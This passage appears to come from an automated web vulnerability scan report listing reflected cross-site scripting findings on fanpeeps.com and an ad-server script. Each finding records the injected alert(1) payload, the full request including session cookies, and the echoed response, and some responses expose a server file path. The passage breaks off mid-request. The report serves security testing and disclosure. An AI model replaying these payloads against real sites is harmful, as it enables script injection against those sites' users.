This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news611c2><script>alert(1)</script>1a9e8006079&pid=18&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:04 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 45880

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=action value=news611c2><script>alert(1)</script>1a9e8006079>
...[SNIP]...

4.59. http://fanpeeps.com/ [idol parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the idol request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 693c9"><script>alert(1)</script>efaf97ed0bd was submitted in the idol parameter. This input was echoed as 693c9\"><script>alert(1)</script>efaf97ed0bd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=18&idol=1693c9"><script>alert(1)</script>efaf97ed0bd HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:16 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 34032

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<a href="/?pid=18&idol=1693c9\"><script>alert(1)</script>efaf97ed0bd&action=tweets">
...[SNIP]...

4.60. http://fanpeeps.com/ [idol parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the idol request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 562ed><script>alert(1)</script>c231ddca073 was submitted in the idol parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=18&idol=1562ed><script>alert(1)</script>c231ddca073 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:17 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 34019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=idol value=1562ed><script>alert(1)</script>c231ddca073>
...[SNIP]...

4.61. http://fanpeeps.com/ [iid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the iid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 47b75><script>alert(1)</script>00fe593e9e0 was submitted in the iid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news&pid=18&iid=647b75><script>alert(1)</script>00fe593e9e0 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 14857

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=idol value=647b75><script>alert(1)</script>00fe593e9e0>
...[SNIP]...

4.62. http://fanpeeps.com/ [iid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the iid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce21d"><script>alert(1)</script>153bac35617 was submitted in the iid parameter. This input was echoed as ce21d\"><script>alert(1)</script>153bac35617 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news&pid=18&iid=6ce21d"><script>alert(1)</script>153bac35617 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:07 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 14863

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<a href="/?pid=18&idol=6ce21d\"><script>alert(1)</script>153bac35617&action=tweets">
...[SNIP]...

4.63. http://fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload c375d><script>alert(1)</script>eb27e03bf16 was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news&pid=18c375d><script>alert(1)</script>eb27e03bf16&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:06 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 10397

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<a rel=nofollow href=/?action=home&pid=-1&zpid=18c375d><script>alert(1)</script>eb27e03bf16>
...[SNIP]...

4.64. http://fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6915e"><script>alert(1)</script>b9f4bf16f51 was submitted in the pid parameter. This input was echoed as 6915e\"><script>alert(1)</script>b9f4bf16f51 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news&pid=186915e"><script>alert(1)</script>b9f4bf16f51&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:06 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 10421

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<a href="?pid=186915e\"><script>alert(1)</script>b9f4bf16f51">
...[SNIP]...

4.65. http://fanpeeps.com/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 37263'><script>alert(1)</script>1cd51c17292 was submitted in the pid parameter. This input was echoed as 37263\'><script>alert(1)</script>1cd51c17292 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?action=news&pid=1837263'><script>alert(1)</script>1cd51c17292&iid=6 HTTP/1.1
Host: fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/worldcup
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305373774.1; __utmc=181893936; __utmb=181893936.2.10.1305373774

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 11:50:06 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 10421

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<input type=hidden name=pid value='1837263\'><script>alert(1)</script>1cd51c17292'>
...[SNIP]...

4.66. http://fanpeeps.com/ [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96244"><script>alert(1)</script>b1b3330c6ce was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=2&q="dancing96244"><script>alert(1)</script>b1b3330c6ce with the stars" OR DWTS HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:25 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=q value="dancing96244"><script>alert(1)</script>b1b3330c6ce>
...[SNIP]...

4.67. http://fanpeeps.com/ [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the q request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3b7ad</script><script>alert(1)</script>6af48e25fcb was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?pid=2&q="dancing3b7ad</script><script>alert(1)</script>6af48e25fcb with the stars" OR DWTS HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:37 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <t
...[SNIP]...
</div>');

        return html.join('');
       };

       twitterlib.search(' AND \"dancing3b7ad</script><script>alert(1)</script>6af48e25fcb', { limit: 30, filter: '' }, function (tweets, options) {
       var html = [];
        for (var i = 0; i < tweets.length; i++) {
           html.push(twitterlib.render(tweets[i], first, i == 0));
           first = false;

...[SNIP]...

4.68. http://fanpeeps.com/ [q parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/

Issue detail

The value of the q request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 70654><script>alert(1)</script>1785e056dba was submitted in the q parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?pid=2&q=70654><script>alert(1)</script>1785e056dba with the stars" OR DWTS HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:44:26 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<input type=hidden name=q value=70654><script>alert(1)</script>1785e056dba>
...[SNIP]...

4.69. http://fanpeeps.com/media/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e24a"><script>alert(1)</script>f5fa8790e72 was submitted in the pid parameter. This input was echoed as 3e24a\"><script>alert(1)</script>f5fa8790e72 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/?pid=3e24a"><script>alert(1)</script>f5fa8790e72 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:50 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18100

<br />
<b>Warning</b>: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in <b>/home/cerebel6/public_html/fan/loaddata.php</b> on line <b>26</b><br />
<!DOCTYPE html PUBLIC
...[SNIP]...
<a href="?pid=3e24a\"><script>alert(1)</script>f5fa8790e72">
...[SNIP]...

4.70. http://fanpeeps.com/media/ [pid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fanpeeps.com
Path:	/media/

Issue detail

The value of the pid request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload b65e9><script>alert(1)</script>c8988a3d600 was submitted in the pid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/?pid=b65e9><script>alert(1)</script>c8988a3d600 HTTP/1.1
Host: fanpeeps.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=1b50f007cc939a7069acd6837abb18ec; __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.9.10.1305376380;

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:43:51 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
X-Powered-By: PHP/5.2.5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18452

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<t
...[SNIP]...
<a rel=nofollow href=/?action=home&pid=-1&zpid=b65e9><script>alert(1)</script>c8988a3d600>
...[SNIP]...

4.71. http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js [mpck parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13754/86576/FINS_phone_300x250.js

Issue detail

The value of the mpck request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4d6c1"%3balert(1)//a553d609cbe was submitted in the mpck parameter. This input was echoed as 4d6c1";alert(1)//a553d609cbe in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/13754/86576/FINS_phone_300x250.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-1281-0%3Fmpt%3D30400104d6c1"%3balert(1)//a553d609cbe&mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3f HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/jsframe.html?jsuri=http://ad.doubleclick.net/adj/bottom.interactive.wsj.com/business_econ_front;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;ord=5370537053705370;
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: svid=173274949960; mojo3=13754:1281

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:13:10 GMT
Server: Apache
Last-Modified: Thu, 03 Feb 2011 20:44:51 GMT
ETag: "483399-b85-49b66d64a36c0"
Accept-Ranges: bytes
Content-Length: 6630
Content-Type: application/x-javascript

function MediaplexFlashAOL(){
var mp_swver = 0, mp_html = "";

if( navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"] && navigator.mimeTypes["application/x-shockwave-flash"].
...[SNIP]...
;29270204;4307-300/250;33472683/33490561/1;;~okv=;!category=;biz=1053;;;mc=b2pfreezone;tile=7;sz=336x280,300x250;;~aopt=6/1/ff/1;~sscs=?http://altfarm.mediaplex.com/ad/ck/13754-86576-1281-0?mpt=30400104d6c1";alert(1)//a553d609cbe\" target=\"_blank\">
...[SNIP]...

4.72. http://img.mediaplex.com/content/0/13754/86576/FINS_phone_300x250.js [mpvc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://img.mediaplex.com
Path:	/content/0/13754/86576/FINS_phone_300x250.js

Issue detail

The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fe2e0"%3balert(1)//fbfb0034a22 was submitted in the mpvc parameter. This input was echoed as fe2e0";alert(1)//fbfb0034a22 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /content/0/13754/86576/FINS_phone_300x250.js?mpck=altfarm.mediaplex.com%2Fad%2Fck%2F13754-86576-1281-0%3Fmpt%3D3040010&mpt=3040010&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3b07/3/0/%2a/a%3B207642206%3B1-0%3B0%3B29270204%3B4307-300/250%3B33472683/33490561/1%3B%3B%7Eokv%3D%3B%21category%3D%3Bbiz%3D1053%3B%3B%3Bmc%3Db2pfreezone%3Btile%3D7%3Bsz%3D336x280%2C300x250%3B%3B%7Eaopt%3D6/1/ff/1%3B%7Esscs%3D%3ffe2e0"%3balert(1)//fbfb0034a22 HTTP/1.1
Host: img.mediaplex.com
Proxy-Connection: keep-alive
